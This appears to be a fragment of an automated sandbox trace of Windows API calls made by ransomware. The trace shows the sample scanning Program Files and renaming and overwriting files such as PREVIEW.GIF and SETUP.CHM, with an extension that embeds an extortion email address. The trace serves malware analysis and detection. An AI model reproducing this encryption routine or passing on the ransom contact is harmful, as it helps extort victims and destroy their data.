pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\183.png", len=0x7a | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\183.png") returned 1 [0263.711] GetProcessHeap () returned 0x630000 [0263.711] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd8) returned 0x6fe3bb0 [0263.711] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\183.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\183.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.713] Sleep (dwMilliseconds=0x1) [0264.616] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-200.png", len=0x7f | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-200.png") returned 1 [0264.616] GetProcessHeap () returned 0x630000 [0264.616] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c74) returned 0x6fe3bb0 [0264.616] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemailmedtilethin.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.616] Sleep (dwMilliseconds=0x1) [0264.638] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.scale-100.png", len=0x75 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.scale-100.png") returned 1 [0264.639] GetProcessHeap () returned 0x630000 [0264.639] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d5c) returned 0x6fe3bb0 [0264.639] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\assets\\storelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.647] Sleep (dwMilliseconds=0x1) [0264.661] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", len=0x67 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0264.661] GetProcessHeap () returned 0x630000 [0264.661] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d28) returned 0x6fe3bb0 [0264.661] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.661] Sleep (dwMilliseconds=0x1) [0264.681] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-20.png", len=0x75 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-20.png") returned 1 [0264.681] GetProcessHeap () returned 0x630000 [0264.681] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd4) returned 0x6fe3bb0 [0264.681] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail1.targetsize-20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.687] Sleep (dwMilliseconds=0x1) [0264.738] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-16.png", len=0x74 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-16.png") returned 1 [0264.738] GetProcessHeap () returned 0x630000 [0264.738] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb8) returned 0x6fe3bb0 [0264.739] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.745] Sleep (dwMilliseconds=0x1) [0264.753] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-54.png", len=0x75 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-54.png") returned 1 [0264.754] GetProcessHeap () returned 0x630000 [0264.754] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c80) returned 0x6fe3bb0 [0264.754] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-54.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall.targetsize-54.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.757] Sleep (dwMilliseconds=0x1) [0264.768] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-200.png", len=0x80 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-200.png") returned 1 [0264.768] GetProcessHeap () returned 0x630000 [0264.768] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c64) returned 0x6fe3bb0 [0264.768] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemail1medtilethin.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.770] Sleep (dwMilliseconds=0x1) [0264.791] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-200.png", len=0x77 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-200.png") returned 1 [0264.791] GetProcessHeap () returned 0x630000 [0264.791] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c30) returned 0x6fe3bb0 [0264.791] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\base2medtilethin.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.792] Sleep (dwMilliseconds=0x1) [0264.801] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\PREVIEW.GIF", len=0x6d | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\PREVIEW.GIF") returned 1 [0264.801] GetProcessHeap () returned 0x630000 [0264.801] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c14) returned 0x6fe3bb0 [0264.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0264.905] CloseHandle (hObject=0x4e8) returned 1 [0264.909] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.113] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x63005b, dwReserved1=0x6e006f, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f80 [0265.114] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0265.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0265.114] GetProcessHeap () returned 0x630000 [0265.114] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xbc1) returned 0x697da8 [0265.114] GetProcessHeap () returned 0x630000 [0265.114] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xbc1) returned 0x6ecf488 [0265.114] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.114] ReadFile (in: hFile=0x4e8, lpBuffer=0x697da8, nNumberOfBytesToRead=0xba0, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x697da8*, lpNumberOfBytesRead=0x3e3ff0c*=0xba0, lpOverlapped=0x0) returned 1 [0265.127] GetProcessHeap () returned 0x630000 [0265.127] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0265.127] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.127] WriteFile (in: hFile=0x4e8, lpBuffer=0x6ecf488*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecf488*, lpNumberOfBytesWritten=0x3e3ff0c*=0xba0, lpOverlapped=0x0) returned 1 [0265.127] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.127] WriteFile (in: hFile=0x4e8, lpBuffer=0x6ed0027*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed0027*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0265.127] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.127] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0265.127] CloseHandle (hObject=0x4e8) returned 1 [0265.127] GetProcessHeap () returned 0x630000 [0265.127] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecf488 | out: hHeap=0x630000) returned 1 [0265.127] GetProcessHeap () returned 0x630000 [0265.127] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x697da8 | out: hHeap=0x630000) returned 1 [0265.127] GetProcessHeap () returned 0x630000 [0265.127] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0265.127] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.128] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63fa71b0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0xccc7496, dwReserved1=0x697da0, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0265.128] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0265.128] Sleep (dwMilliseconds=0x1) [0265.170] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\SETUP.CHM", len=0x89 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 1 [0265.170] GetProcessHeap () returned 0x630000 [0265.170] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bec) returned 0x6fe3bb0 [0265.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0265.171] CloseHandle (hObject=0x40c) returned 1 [0265.171] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.171] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\setup.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\setup.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.172] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14366, dwReserved0=0x75002d, dwReserved1=0x5c0073, cFileName="SETUP.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPC~1.FIR")) returned 0x6d5040 [0265.173] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0265.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\setup.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0265.173] GetProcessHeap () returned 0x630000 [0265.173] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72f51a8 [0265.173] GetProcessHeap () returned 0x630000 [0265.173] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7473d70 [0265.174] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.174] ReadFile (in: hFile=0x40c, lpBuffer=0x72f51a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesRead=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.180] GetProcessHeap () returned 0x630000 [0273.180] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0273.181] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.181] WriteFile (in: hFile=0x40c, lpBuffer=0x7473d70*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7473d70*, lpNumberOfBytesWritten=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.181] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.181] WriteFile (in: hFile=0x40c, lpBuffer=0x747f16f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x747f16f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0273.181] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.182] WriteFile (in: hFile=0x40c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0273.182] CloseHandle (hObject=0x40c) returned 1 [0273.182] GetProcessHeap () returned 0x630000 [0273.182] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7473d70 | out: hHeap=0x630000) returned 1 [0273.182] GetProcessHeap () returned 0x630000 [0273.182] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f51a8 | out: hHeap=0x630000) returned 1 [0273.182] GetProcessHeap () returned 0x630000 [0273.182] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0273.182] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0273.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68c62098, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1438a, dwReserved0=0xccc7496, dwReserved1=0x72f51a0, cFileName="SETUP.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPC~1.FIR")) returned 0x6d4f00 [0273.182] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0273.183] Sleep (dwMilliseconds=0x1) [0275.153] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x61 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0275.154] GetProcessHeap () returned 0x630000 [0275.154] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb4) returned 0x6fe3bb0 [0275.154] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.155] Sleep (dwMilliseconds=0x1) [0275.168] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\toast.scale-150.png", len=0x7e | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\toast.scale-150.png") returned 1 [0275.169] GetProcessHeap () returned 0x630000 [0275.169] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, 